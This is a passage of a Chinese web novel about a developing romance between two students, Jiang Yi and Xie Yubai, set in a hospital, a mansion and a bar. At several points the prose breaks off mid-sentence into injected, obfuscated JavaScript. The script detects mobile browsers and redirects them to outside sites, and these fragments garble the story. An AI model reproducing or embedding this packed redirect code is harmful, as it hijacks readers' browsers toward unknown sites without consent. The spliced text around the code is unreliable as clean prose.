谢逾白:“……” “偶尔碰到别人,没被人甩开过。” 谢逾白视线追着他的侧脸看了会儿,伸出手掌,掌心朝上,“我没有不喜欢你碰我,你可以碰我。” 江逸无声地笑,肩膀抖着,声音吊儿郎当:“你是校草还是我是校草,谁乐意碰你了?你不如做梦,梦里实现得更快。” 谢逾白:“……” “江逸,那天在我家说的话,我不希望见到你的话,不是我的真心话,我没那么想过。” 江逸嘴角撇了下,眼里困惑:“我搞不懂你,没那么想为什么那么说?有病?” 谢逾白垂着眼笑了笑,自嘲道:“是有病。” “没见过你这么别扭的人。” 谢逾白叹气:“有点吧。” 江逸试着总结,“所以,你没不希望见到我,不讨厌我碰你,你没有讨厌我?” 谢逾白呼吸艰难,他拿起水瓶单手拧开瓶盖,喝了一口。 “你好麻烦,谢逾白,我CPU快烧了,你不把话说明白,我真的很难把控交往的尺度。” 谢逾白听见自己心脏扑通扑通的,“如果你反过来想呢?或许,我愿意做这些。” “想不通,如果我愿意跟谁接触,恨不得跟他穿一条裤子。”江逸坐在床边,舒了一口气,“好在还有几个月,毕业了你就没有烦恼了。” 谢逾白的心脏倏然刺痛了一下,“毕业了怎样?” 江逸淡然一笑:“你就不用再有烦恼了,我们天各一方,是两个世界的人,没有相交线,你永远做你高傲的王子。” “是吗?”谢逾白绵绵如丝的眼神缠绕在江逸脸上,他感觉自己卑微到了土壤里,还是逃不掉,无法挣脱。“江逸,我胳膊疼。” 35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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江逸心中感觉怪怪的,描述不清楚,他的指尖一点点抚摸,谢逾白的皮肤薄得能看清青色血管,被触碰时颈侧肌肉绷紧。 谢逾白的皮肤这么薄,应该很敏感,被他咬的时候,挺疼的,“那次,我咬疼你了,所以不开心了?” “还好,”谢逾白偏过头,“没那么疼。” “你为什么不开心?”江逸指腹加重了力道。 谢逾白神情犹豫不决,江逸的指尖刮过旧伤边缘,他松了劲,肩膀垮下来,“因为你一整晚不理我,在对别人笑,别人坐了你的车,你跟别人一起吃了烤串。” 这些话说出来的时候,谢逾白喉咙干涸,心脏颤悠着,不确定江逸的反应。 江逸笑出声,指腹还在他颈侧轻蹭,“你因为这些不开心吗?下次把你带着不就行了吗?我顾及你在准备物理竞赛,不想你浪费时间。” “我不想去,不想见其他人。” “你够任性,有什么不能跟我说的?那天晚上,我问你,你不肯说。你在我家,我忽略了你,你不开心了,不挺正常的?” 谢逾白黑眸里浮着点不确定的光,“是吗?” “你说不出来不就好了?搞得我云里雾里的。如果我知道你不开心了,我可以早点回家。” 谢逾白喃喃道:“你不会觉得我奇怪吗?” “你不是一直很奇怪?有什么稀奇的?以后你心里不开心,怎么想的,直接跟我说。现在,你还有其他的要求吗?” 谢逾白抿着唇沉默半晌, “我要加微信好友。” 江逸拿出手机,露出二维码,大方地说:“加。” 护士返回病房,谢逾白身体坐回去,脸上一派正经,好像刚刚撒娇的人跟他一点关系也没有。 他翻开旁边的大学物理教材,笔在草稿纸上写一些东西。 “你什么时候去参加省里的选拔考试?” “下周六。” “你手能行吗?” “你希望我取得好成绩吗?” “那当然了。为班级为学校争光是好事,从一开始我就想让你取得好成绩,不管是数学竞赛还是物理竞赛。” 谢逾白怎么会不知道?江逸是个善良的人,他对陌生人保留善意,即使两人互相看不惯的时候,江逸仍会为他着想。 “物理竞赛也好,数学竞赛也罢,这些对我来说毫无意义,一点意思也没有。” “为什么没意思?万众瞩目,多牛。你觉得什么有意思?” 谢逾白一双黑沉沉的眼睛看着江逸,眼波从江逸的唇线滑到鼻尖,再落回那双亮闪闪的眼睛。 “你到底觉得什么有意思?” 谢逾白瞳孔里映着江逸扬起的嘴角,眸光柔得发绵,在他看过来时,眼尾往下垂,“我不知道。” 17.第 17 章 谢逾白的状态让江逸想到他为数不多知道的几句,看似有哲理的话,“天才在左,疯子在右。” 但凡有卓越才华的人,总该有些不正常的地方。 谢逾白指尖抵着眉骨,“你挺喜欢陈最?”他一边唾弃自己,一边忍不住问。 “他人挺好的。” 谢逾白清楚,江逸人见人爱,没人不喜欢他,即使他成绩落后,任老师对他的态度放纵又关心。 短短一周多的时间,陈最对他好到让人发指,谢逾白感觉,自己只是芸芸众生其中一人。 谢逾白眼睫在眼下投出密匝匝的影,“你给他灌了什么迷魂药?他怎么对你死心塌地的?” 江逸把陈最被围堵的事情简单说了一遍,“我听说他是你的同桌,决定过去看看。” 谢逾白敏锐地抓住了他话里面的隐藏信息,他的眼睛盯着江逸的脸不放,“你因为他是我同桌,才过去救他的?” “对,我本来不太认识他。” “一个班两年多了,你怎么可能不认识?” “谁让他长了一张大众脸?我上课总睡觉,哪能记住所有同学的长相?况且,巷子里那么黑。” 谢逾白沉思,陈最家境很好,身高183,外貌算过关,之前5班的班花追了他挺长时间。如果不是被自己一直压着,他成绩挺亮眼的,怎么就成了江逸嘴里的大众脸了? “你认为他长得不好看?” “顺眼。” “那我呢?” “你什么?” “我好看吗?”谢逾白鼻背的线条与眉骨、下颌连成流畅的三角,撑起整张脸的立体感,清冷的贵气。 江逸眼瞳里浮着点困惑,盯着谢逾白的眉峰看了半晌,笑了笑,“你挺不错的。” “我跟周靖泽比,谁好看?” 江逸眨了眨眼,“你无不无聊啊,谢逾白。” “回答我,这对我很重要。” 江逸嗤笑,眉眼弯折:“你好看,你全世界最好看,行了吗?” 谢逾白满意了,嘴角勾了勾,“我是全校成绩最好的人,你知道吧?” “知道,怎么了?” “你想问题目,放着全校第一不问,去找陈最,你想要笔记,我的笔记才是最好的。你应该用我的笔记。” 江逸被他弯来绕去的话,说得有点晕晕的,“你在准备物理竞赛,时间紧迫,不应该打扰你。陈最已经保送了,闲人一个。” “物理竞赛对我来说,用不了全部的精力,时间上绰绰有余。” “我知道了,至于笔记,你有那东西?”江逸从谢逾白的书桌里拿过东西,里面从来没什么笔记,教材上干干净净的。 “周靖泽可以为了你整理笔记,我为什么不能?” “你是你,他是他,你总跟他较什么劲?” “是你区别对待。他给你递纸巾擦嘴角,喂你吃烤串。” 江逸回想那天晚上的细节,因为饮酒有点模糊了,递纸巾有可能,“我什么时候让他喂我吃烤串了,我怎么可能做那么恶心的事?” “我双眼视力全是5.0。亲眼看到他把羊肉串上的肥肉剔下去,把瘦的肉给你吃。” “我自己拿着烤串吃的,又不是他吐我嘴里的,你有什么可计较的?上次我想吃你剩的馄饨,是你不让的。照你这么理解,也有暧昧了?你不愧是我们班的道德标兵。你知不知道,有的男生,每天搂搂抱抱,甚至有互相打飞机的。如果你知道了,要把他们钉在耻辱柱子上?” 江逸本身大大咧咧的,每天跟篮球社的队员勾肩搭背的情况太多了,“你就是朋友没那么多,见的太少了。” 谢逾白从听到“打飞机”三个字,面色凝重,嗓音暗沉,酝酿着低气压,“你跟别人打了吗?” 谢逾白这种生物,说变脸就变脸,“我打什么?没有。我真服了你了,我明明一身正气只想好好学习,认真赚钱,打球方面争取个好成绩,体育分能帮我考上个差不多的大学。谢逾白,我跟你说过,风花雪月需要本钱的,我没有本钱。” 谢逾白睨他一眼:“你的脸不就是本钱吗?” “我不能靠脸吃饭,我能吃软饭?我还要脸呢。” 想到接下来要说的话,谢逾白感叹自己的脸皮越来越厚,脸皮发热,“你找个有钱的另一半,衣食无忧的那种。” “谁家姑娘脑子进水了?你去社会上看看,哪有那种事?男人要有本事,在外面顶天立地。” “你以前说过泡我。”谢逾白状似无意地提了句。 江逸猛咳嗽两声,掩着口鼻,“那时候你为情所困,我想办法开解你,而且我也不了解你,那种话太尴尬了,你当我没说过。” 他一开始的确对谢逾白有某种程度上的兴趣,跟谢逾白说的话并非全是玩闹。 谢逾白像最好的酒,上上等,想要亲近他要付出很多很多,让人上瘾,又让人挫败。 跟他熟悉了以后,反而不敢轻易调侃,轻薄,谢逾白有种冰清玉洁的味道。 谢逾白语气变淡,神情只剩下朦胧的失意,“你了解到我什么了?”让你改变了心意。 江逸坐在他床边,“我没想到你家里那么豪,尽管你喜欢男生,不能找吃软饭的,知道吗?你在感情里一根筋,以后不许为了一点小事要死要活。你看我,活得如此艰难,仍努力活着。你要活得更好,更精彩。” 江逸有点难为情,他不是个善于言语的人,“总之,人要寄希望于自己,不管是金钱,还是感情,自己丰富了,才能给予别人。” 他手指自然而然地碰了下谢逾白的耳尖,“没关系,我会一直陪着你,不管你遇到什么事。” 他的话很有力量,眼神也认真,像某种誓言。 谢逾白眼瞳原本沉着的光慢慢漾开,“你会永远陪着我吗?” 江逸瞳孔印着谢逾白不安的样子,心里塌下来一块,不知道从什么时候开始,谢逾白总能碰触到他最软弱的地方,“会。” 谢逾白垂着眼,“你以后有了心爱的人,就不会这么想了。”他心里有个无底洞,无法被填满似的。 江逸缓缓眨了眨眼,“那你呢?你以后有了心爱的人,或许不需要别人了,或许某天发脾气了,又撵我走了。” 谢逾白唇角沉下去,“我不会再有心爱的人。” “我们现在是什么关系?”谢逾白声音里面暗藏着不知名的情绪。 “你想是什么就是什么?”江逸看着这个时而高傲,时而任性,时而为了他不顾一切的人,心里对他的感觉很复杂,他唯一确定的是谢逾白是独一无二的。 他抚摸谢逾白受伤后打着石膏的胳膊,“我多惯着你,以后记得不要跟我发脾气,即使跟我发脾气不可以撵我走,不可以说难听的话,让我难受。” “你会因为我难受吗?”谢逾白一直认为自己在演一出独角戏。 “怎么不会?我是铁打的?没有心吗?我陪了你一个月,把你从病殃殃的状态养成了人人羡慕的大学霸。结果,你一翻脸让我走人,我那晚先被你在浴缸里的样子吓个半死,后被你的话气得要死,你是不是个白眼狼?” “我从来也没有这么惯着过一个人,让你想闹就闹,想回来就回来,由你折腾。换了别人,早就让他有多远滚多远了。” 江逸轻抚谢逾白的头发,看着他冷峻出尘的眉宇,仿佛山巅的清雪,他身上有股清冷劲儿,又有种破碎沉郁感。江逸身边人真多,谢逾白是最独特的存在。 人会向往美好的事物,原来他也不例外,“有答案了吗?你想跟我是什么关系?想做我什么人?我把握尺度。” 谢逾白沉思片刻,给出答案,“先做比周靖泽更亲近的人。” 江逸:“……”他又来了。 “不行?” “行。”谁敢说不行?好不容易哄好了,不行又该闹了。江逸不想再伤脑筋。 谢逾白静静地回想江逸今天说的所有的话,他的记忆力很好,逐句分析,在此期间,陈最回来过一次,三人一起吃了饭。 陈最离开,江逸留下,打算在这里陪护,准备睡觉。江逸特意租了一个陪护床。 谢逾白靠在床上,忽然开口:“我要回家。江逸,我要回家洗澡。” “你搞什么?你身上全是伤,需要留在医院观察。” “我家有私人医生,明早可以上门给我治疗。” 他的豪气超出了江逸的认知,“不洗澡睡不着?” “睡不着。” “行吧,让司机来接你。” 李师傅把他们接去了谢逾白家的别墅,再来到这个迷宫,江逸心情不太舒服。 “你怎么这幅表情?” “你家给我留下了不好的回忆。” 谢逾白以为是两人上次不欢而散,让他心有芥蒂,“是我的错。” “你家为什么这么多道门?太远了,我4点出发的,出了你家用了一个半小时,翻了三个墙,崴了一次脚。” 谢逾白第一次听他说这些,心里有些不是滋味,“你为什么要跳墙?” “因为门关着。” “所有的门都有电动开关,从里面可以开。” “在哪儿?” “一般在把手下面,有一个隐形按钮。” 江逸想起他翻墙的心酸,“我哪知道!” “你怎么不问我?” 江逸哼了哼:“你会理我?” 谢逾白浅笑:“我有那么凶?” “你要杀人了,还不凶?”江逸在他房间里到处转悠,“看到你住的地方,我想到之前陪知知看过的一部电影,长发公主。” 谢逾白坐在椅子上,饶有兴致地听他说,“电影讲了什么?” “大概就是一个公主被老巫婆关在了高塔里,出不去,一个王子来拯救她的故事,谢逾白,你在城堡里住得开心吗?” 谢逾白望着窗外黑黢黢的树影,眼底浮现难以言喻的情绪,“如果我说不 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16339376|182817||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 开心,你可以救我出去吗?” 江逸嘴唇红润润地笑,“跟我走,王子变青蛙了。” “也行。”谢逾白笑了,他很少笑,他的笑很独特,像冰雪初融,浅淡清绝。 “帮我脱衣服,我去洗澡。”谢逾白走到床边,单手撑着床,后背向后仰。 江逸嘴唇微张:“需要我帮你?” 谢逾白低眼示意他自己打着石膏的胳膊,他穿着病号服,衣服没有扣子,穿脱一只手不方便。 江逸绕到他身后,勾住病号服后领往上拽。布料顺着脊椎滑上去,露出宽阔的背,右边肩膀有一大片青紫,江逸看得心头发颤,“你肩膀淤青了,你知道吗?” 他的手掌抚摸上去,谢逾白肩线微颤了下。 “抬胳膊。”江逸扶着他没打石膏的手臂往上抬,袖子褪到肘部,卡在石膏处。 谢逾白身体往后躺在床上,上半身赤裸,下半身穿着休闲裤,灯光打在他的皮肤上,有些旖旎,他狭长的黑眸锁着江逸,“还有裤子,辛苦了。” 江逸:“你不能自己脱?” “医生说我最好少用手,以免影响愈合。” 行吧,江逸没办法,俯身解裤带,裤子滑到胯骨,露出黑色内裤边缘,腰侧凹陷处覆着层薄汗。 江逸视线移开,拽着裤脚往下拉:“行了,自己站好。” 谢逾白没动,“你怎么不看我?” 江逸咬着后槽牙:“我为什么要看你?” 谢逾白抓住他手腕,“你有什么不自在的,那天晚上你把我从浴缸里面捞出来,什么没看到?” “我真没看。”江逸没说假话,当时的情景下,他真没无聊的心思。 “今天给你弥补遗憾,帮我洗澡。” 江逸简直不敢相信这是谢逾白说出来的话:“你怎么了?你不是洗澡要锁门的吗?今天怎么让我帮你?” 他记得上次提出要帮谢逾白洗澡,人家一副见了鬼的样子。 谢逾白站起身,双腿笔直,倒三角的身材颀长养眼,“此一时,彼一时。” 谢逾白眼尾斜他,“跟我来,还愣着干什么?我因为谁受伤的?你不负责?” “我没说不管你。”江逸手脚不知道怎么放,伤脑筋。 江逸拧开淋浴阀,调了水温往浴缸里放水,瓷砖壁很快蒙上层薄雾。 谢逾白扶着缸沿坐进去,水漫到腰腹时,他往后靠在弧形缸壁上,长睫被水汽打湿。 “头低一点。”江逸举着花洒,温水顺着谢逾白的发顶浇下来,泡沫在黑发间漫开。手指穿过发丝揉按头皮,动作生涩,“你头往后仰,别让泡沫进眼睛里。” 泡沫顺着谢逾白鬓角往下滑。 江逸抬手去挡,刚碰到他耳廓,洗发水的水流直冲进谢逾白眼里。 谢逾白蹙眉,眼睫剧烈颤动,手撑着缸沿想坐直,被江逸按住肩膀按回去,“别动,我来处理。” 江逸抽了纸巾蹲下身,捏着纸角擦他眼睑,“眼睛睁点缝。” 谢逾白眼尾被刺激得泛红,眼瞳藏在湿睫后,只剩片朦胧的黑。 江逸的指腹擦过他眼下,触到细腻的皮肤。 他顿住动作,谢逾白微张的唇瓣泛着湿意,下颌线被水痕晕染。 江逸手里的纸巾捏出了褶皱。 他从没这么近看过谢逾白这样的模样,卸下了平日的冷傲,脆弱着,勾着人的视线。 “好了吗?”谢逾白的声音有点哑,眼睛闭着。 江逸把纸巾扔进垃圾桶,声音不自然:“你睁眼试试,还疼吗?” “好多了,谢谢。”谢逾白抿着下唇,“我手臂不太舒服,你能帮我托起来一会儿吗?” “拿过来。”江逸把他打了石膏的手臂拖起来,举在浴缸外面,谢逾白身体向下陷进浴缸。 谢逾白没打石膏的手在水里轻轻一撩,带起的水花精准泼在江逸胸口。 江逸没防备,被凉丝丝的水激得一缩,黑色长袖洇开水痕,顺着衣摆往下滴。 谢逾白又撩了把水,这次直接泼在他发顶。水珠顺着他的额发滑下来,滴在睫毛上、鼻梁上,江逸抬手抹了把脸,掌心全是湿意。“谢逾白!你搞什么?” 谢逾白伸手拨了下他额前的碎发,擦过他眉弓,“你衣服湿了,要不要跟我一起洗?”谢逾白往浴缸里缩了缩,水漫到他胸口,“好兄弟一起泡澡没什么的。” 江逸站在原地没动,“谢逾白,我提醒你,你喜欢男生,你别忘了。” “我没忘,可是,你为什么要时刻记着这个事?”谢逾白感觉自己扔了脸面以后,开始无所畏惧了,难得看到江逸局促不安的样子,他感到十分有趣。 他带着湿漉漉的气息,像从水里钻出来的妖精,在江逸的耳边低语,“那天晚上你咬我以后,说过要让我咬回来,你记得吗?” 江逸眼睛眨了又眨,半张的唇忘了合上,“你的意思是……” “给你个心理准备,我打算咬回来。” 18.第 18 章 谢逾白从浴室出来,身形在地上投下颀长影子。 白色浴巾松松围在腰间,边缘垂落恰好卡在胯骨,腰身与宽肩形成利落的倒三角。 湿发滴着水,几缕贴在颈侧,肩骨突兀地硌着,像雪山上裸露的岩,往下是清晰的锁骨凹,水珠顺着下颌线滚进凹处。 他抬手拢了把头发,手臂线条绷得直,眼睫垂着,瞳色深。 江逸身上湿着,看着谢逾白出浴的模样,“你不能穿好睡衣再出来?” “我手不能动,需要劳驾你帮我穿。” 江逸想说脏话,憋了回去。 “我去选衣服。”谢逾白回头问,“你想穿我穿过的衣服,还是新的衣服?” “你什么意思?我无所谓。” “我不知道你的癖好,先问清楚。” 江逸脑子嗡嗡响,“我没有癖好,只有你破事那么多,你随意。” “内裤也无所谓?” 江逸恼了,“你是不是故意的!谢逾白,你缺一条内裤?给我拿新的。” 谢逾白拿了两套睡衣,一套深灰色的自己穿,一套米色的递给江逸。 “这颜色?娘们唧唧的。”江逸进了浴室,快速洗好出来,正好撞见谢逾白以不太舒服的姿势,正在自己套睡衣。 深灰睡衣的袖子卡在石膏边缘,他另一只手扯着领口。 “逞什么能,我说不帮你穿了?”江逸把毛巾往肩上一搭,走过去扒开他的手,“抬胳膊,轻点。” 谢逾白乖乖抬了没打石膏的胳膊,江逸拎着衣领往上提,布料擦过石膏,他听见谢逾白倒吸了口凉气。“疼了?” “没事。” 江逸绕到他身后,替他把另一只袖子套过石膏,勾着布料往里送,“石膏跟个累赘似的,需要带多久。” “一周左右。” 江逸把衣摆拽平整,手腕被攥住。 谢逾白的身体靠过来,一只手臂绕过他后背,把人圈得很紧。 江逸僵了一瞬,谢逾白湿发蹭过他颈侧,下巴抵在他肩窝,呼吸喷在衣领上,烫得像要烧起来。 “谢逾白?”江逸想推,摸到他后背绷紧的肌肉,他的右肩膀还有伤。 谢逾白声音发哑:“让我抱一会儿。”江逸身上带着浴室里的水汽跟热气,谢逾白的心脏极速跳动,身体一点点变热。 “我可以咬回来了吗?”谢逾白表情沉浸,迷醉。 “你真要咬?” “你说过的话,不算数?” 江逸喉结咽动,“算,现在咬?” “去床上。” 江逸:“……” 他走去床边坐下。 谢逾白手按着灯开关,视线看过来,“需要关灯吗?” “关灯干什么!”江逸音调变了,“把灯开着!快点过来,我困了。” 谢逾白手指在江逸颈侧停下,指腹碾过细腻的皮肤。江逸颈侧的皮肤本就白,被他这么一按,泛起浅红。 “你快点。”江逸偏了偏头,声音发紧。 谢逾白俯身,膝盖抵在床沿,视线落在他颈窝处:“只能咬一口?” “你出气就行,随便。”江逸闭了闭眼。 灯光落在谢逾白脸上,他眼睫垂得低。柔软的唇贴上江逸的颈侧,没有预想中的刺痛,温热的厮磨,比亲吻要轻。 江逸猛地睁眼,呼吸错乱。 谢逾白的唇在他颈侧蹭了蹭,不轻不重含住那片肉,慢慢舔过,江逸后颈泛起细密的麻意。 江逸呼吸乱了节拍,谢逾白松口,留下个浅红的印子。 江逸刚要抬身,手腕被按住,谢逾白哑着嗓子:“没结束。” 他单只手支在床上,石膏臂小心地抬着,身体压下来半分。这次的吻更沉,唇瓣贴着红印反复摩挲,咬的力道比刚才重了些。 江逸不敢动,怕他支着的手不稳摔下来,由他亲近。颈侧的痒意混着莫名的热意往上窜,身体里一股异样的悸动,比刚才谢逾白抱他时更烈。 他素了超过十八年,哪里受过这么直接的性.刺激?对单纯的江逸来说,每一个触碰,每一个亲吻,轻咬,都是全新的刺激。 谢逾白埋在他颈间,多年的贪念在此刻决堤。 唇齿反复碾过那处红肿,直到江逸颈侧艳红,谢逾白微抬眼睫,呼吸滚烫地扑在泛红的皮肤上,“江逸,你什么感觉?” 江逸心里早已掀起惊涛骇浪,嗓音沙哑:“那天晚上你也是这种感觉吗?” 谢逾白低低地笑,“哪种?你说出来。” 江逸有些生无可恋,丢脸到家了,“前.戏的感觉。” 谢逾白单手替他理了理被弄乱的衣领,指腹擦过那处红印,“嗯,我也是。” “抱歉,我没想到。”江逸当时是气急了,咬了他。“你不让我碰你,是因为……” 谢逾白伸手去摸他的腰腹,手腕被江逸握住,“跟你现在怕被我碰,是一样的。” 江逸掌心微微出汗,“我懂了,以后我会注意分寸。” “我不怪你,不知者无罪。” “我去客房睡。” “这一层没有客房,你走那么远,我半夜需要你怎么办?”谢逾白手指勾住他的裤腰,“江逸,今晚陪我睡。” 江逸坐在旁边,在做思想斗争,最后放弃,“哎。” 他躺在床上,等身体的热度一点点降下去,这叫什么事?怎么稀里糊涂变成这样了? 他的心绪焦躁,谢逾白身体翻来覆去,似乎不太舒服。 “你怎么了?睡不着?” “我胳膊疼。” “怎么能不疼?我起来看看你?” “我想让你亲我。” 江逸石化 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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江逸感受身后的人呼吸喷在他后颈,刚刚退下一点点的热度再次燃起来,真能折磨他,他闭着眼睛,呼吸一会儿快,一会儿慢,“谢逾白,你手收回去。” 后面的人没反应,似乎睡着了。 江逸转过身,房间内光线很暗,谢逾白睡得不算沉,呼吸匀净偏浅,被子被他掀开一角,露出半截肩膀,一只手搭在江逸腰侧。 谢逾白的头发在枕上散着,没了醒时的规整。墨黑的发丝半干着,他硬挺的发梢,睡着时是软的。 江逸的手指在半空顿了顿,落下去。 指腹慢慢往下捋,陷进墨黑的发丝里,密而柔的触感缠上指节,有电流顺着皮肤窜上来。 谢逾白的呼吸顿了半拍,眼睫颤了颤,没醒。 江逸指腹碾过发尾,顺着耳后摸到颈侧,发丝更短些,蹭得他指腹很痒。 19.第 19 章 江逸醒来,谢逾白在窗户边超大学习桌前坐着,他穿着深灰色睡衣,后背挺拔,眉眼深邃镌刻。 笔尖在草纸上发出沙沙的声音,谢逾白的神情很专注,他很容易沉浸在自己的世界里,这样的人,想靠近他应该挺难的。 谢逾白放下笔,单手撑在侧脸,视线慢悠悠射过来,“醒了这么久,你在看什么?” 江逸撇开视线:“几点了?” “六点半。我安排司机送你去上学,你吃个早饭再去。” “你自己在家行吗?” “若是不行,你能一直在这陪我?” 江逸屈指抵着鼻尖,从昨晚开始,谢逾白的变化很大,首先,看他的眼神,狭长的眼尾带钩子似的。 江逸抓了抓头发,不看他上扬的嘴角,不与他眼神对视。 “你有事联系我,没事我去上课了。” 他视线落在床头柜上的衣服,校服叠的整整齐齐。里面的卫衣同样很工整,他抖开衣服,白色卫衣正是上次在体育馆更衣室,谢逾白让他脱下来那件。“你给我准备的衣服?” “对,你昨晚脱下来的衣服,被我洗了。” 江逸指尖蹭了蹭后颈,“以后不用你洗我的衣服。这件衣服是在篮球场,你花钱买回去那件?” 提到这件事,谢逾白眼神怔忪了下,手指敲了敲桌面,“不是。” 江逸翻看两遍,“是一样的,我不会记错。” “我买了两件,这件是我一直穿的那件。” “为什么啊?为什么不拿我穿过那件?”江逸搞不懂他的想法。 “你确定要听答案?” “别磨叽,快点说。” “因为……”谢逾白瞳孔在暗光里发沉,唇角压着笑,“我想看你穿我的衣服。” “真没看出来。”那还逼着他脱衣服!真是个神经病! 谢逾白走近他,眼神落在他的手腕上,“表呢?怎么不戴了?” “书包里,弄坏了怎么办?” 谢逾白拎过书包,摸出那只表。 江逸的手腕被他拉过来,手腕白皙,细得像一折就断,腕骨浅浅拱着。 谢逾白手指搭上,指腹贴着皮肤蹭过。表链穿过手腕,他捏着表扣的手指微顿,金属边擦过跳动的动脉,白嫩皮肤能看见血管青蓝的影子,“你怎么好意思?竟然说我的表是A货。” 江逸笑着回:“难道让我说,我戴的是你的表?又被人传八卦了怎么办。” “你可以说,我不在乎。” 江逸:“到底谁在乎?你这么快就变了?”谢逾白的心,海底针。 戴好后,谢逾白没松手,蜷指扣住江逸的手。谢逾白轻抚他的一根根手指,动作慢得像在数纹路。 江逸受不他细细绵绵的碰触,开口制止:“谢逾白,你差不多得了。” 江逸的指节细白,谢逾白眼底牢牢锁着掌心里那只手,“怎么了?好兄弟,好朋友,拉个手也不行?” “你这叫拉手?” 谢逾白指尖在江逸无名指第二道关节处停了停,轻轻按了下,“你说叫什么?” “把玩。” 谢逾白轻笑,“用词很贴切,你戴上表挺好看。” “表还给你,我戴不住,经常打球剧烈运动,可能会刮蹭弄坏。”两百万的表,谢逾白舍得戴,搞了一个展示柜那么多。 “有什么关系?我有很多。” 江逸摆手,“谢少爷的世界,我们平民百姓不懂,为什么要用买房子的钱买一块表。” “是挺无聊的。” 江逸忽然起了好奇心,“你有很多钱?哪来的?” 谢逾白正翻书的手指顿了顿:“我的资产包括但不限于,家族基金,公司分红。” 他合上书,手指敲了敲封面,“平时做投资,有几家公司的股,理财也赚了些。” “你进钱的速度比花钱的速度快?” 谢逾白微笑:“我不花什么钱,我有生活费。” “奢侈品,手表,衣服,你自己花钱买的?” “表,车,房子等大件,家里长辈会送。” 江逸柠檬酸了,忍着酸楚问,“你生活费是多少,敢不敢告诉我?” “不算多,一年三千万,我够花。” “我真想象不到你还有什么烦恼。” 谢逾白如实说:“烦恼很多。”眼前就有一个,爱而不得。 “你简直就是人生赢家,别想不开,去花钱,去享乐,多快活的日子。” 谢逾白认真回复他的话:“怎么享乐?你教教我。” “吃好吃的美食?” “我家有厨师。” “去好玩的地方?不行,你要上学,跟朋友出去玩乐?” “我没什么可以一起玩乐的朋友。”从小到大谢逾白接受的是精英教育,在他生病以前,每天时间紧张到难以想象,他像一个精密计算的机器,日复一日的重复运转。 “泡个小姑娘?不对,泡个小男生?” 谢逾白眼瞳里蒙着层薄雾,“你昨晚失忆了?你拒绝跟我发展关系,钓着我,现在跟我说这个话题?” 江逸轻咳一声,“我以后跟你说话,要思前想后?我嘴松,说话就这样。你少挑刺,你没说过什么发展的话,只说让我亲你。” “我就是那个意思。” “我不管你是什么意思,你给我打住,不要污蔑我们纯洁的友谊。我们倒带,当做昨晚的事情没发生过。” 谢逾白撇了下嘴,视线若无其事在江逸身上打转儿,似乎在腰腹部位多停留了一会儿。 “你别用那种眼神看我!还有,不许跟我搞暧昧。”江逸白皙如玉的脸颊一点点染上红云。 谢逾白看他脖颈通红的样子,“我想追你,为什么不跟你搞暧昧?” 江逸蹙眉,“求你了,别说了,行不行。能不能愉快的玩耍了?” “早餐怎么样?吃饱了吗?” 江逸吃完手里的三明治,喝了橙汁,给出评价,“实话实说,你家的早餐,真没陈最带的好吃。” 谢逾白双手环胸,眼神掠他,“我给你做的,让你这么嫌弃?” “你亲手做的?你家不是有厨师,为什么自己做?你只有一只手能用。” 谢逾白眼底微光闪动,“你明知故问?为了追你。” 天!江逸快疯了,抓起书包,“我走了,你赶紧歇歇。” 他没注意到两张纸从他书包夹层里掉出来,落在地上。 谢逾白捡起,看到上面是小学生入学申请资料,学区房等。谢逾白没接触过这些,视线落在江逸填写一半的资料上,江知知申请学 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16351519|182817||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 校的房产证,户主:周靖泽? 他的手指攥紧纸张,神情刹那间晴转阴霾。他拿起手机给理财经理打电话,“我打算买房,三天内过户……” 宋越接到谢逾白电话的时候,有些惊讶,想不到他们之间有什么共同话题。 谢逾白一身冷调,坐在酒吧,只有跟江逸在一起的时候,他身上才有一些活人感。他一个人向来是压抑的,内收的。他的眼神,周身的气度跟他的年龄完全不符合。 见惯了三教九流的宋越面对他,感到一丝压迫性,“什么风把谢少爷吹来了?” 宋越示意服务员给谢逾白调酒。 谢逾白摆手,“我一会儿要做身体检查,不能饮酒。” 宋越注意到他的手,“听江逸说了,你手受伤的事,没大碍吧?” “没。”谢逾白单刀直入:“我来找你,为了江逸妹妹上学的事,我买了房子,房产证写你名字,你让他妹妹落户进去。” 宋越心中吃惊,谢逾白为了江逸肯这么做,绝对不止朋友那么简单,“你为什么不自己问他?为什么用我的名字?” 房产写陌生人,里面的风险不小,一套房子价格不菲,宋越入社会这么久,多一事不如少一事,他懒得掺和这些事。 谢逾白推过来一个文件袋,“自然不会让你白帮忙,我之所以找你帮忙,因为他不会拒绝你,他会拒绝我,我不想为难他。” 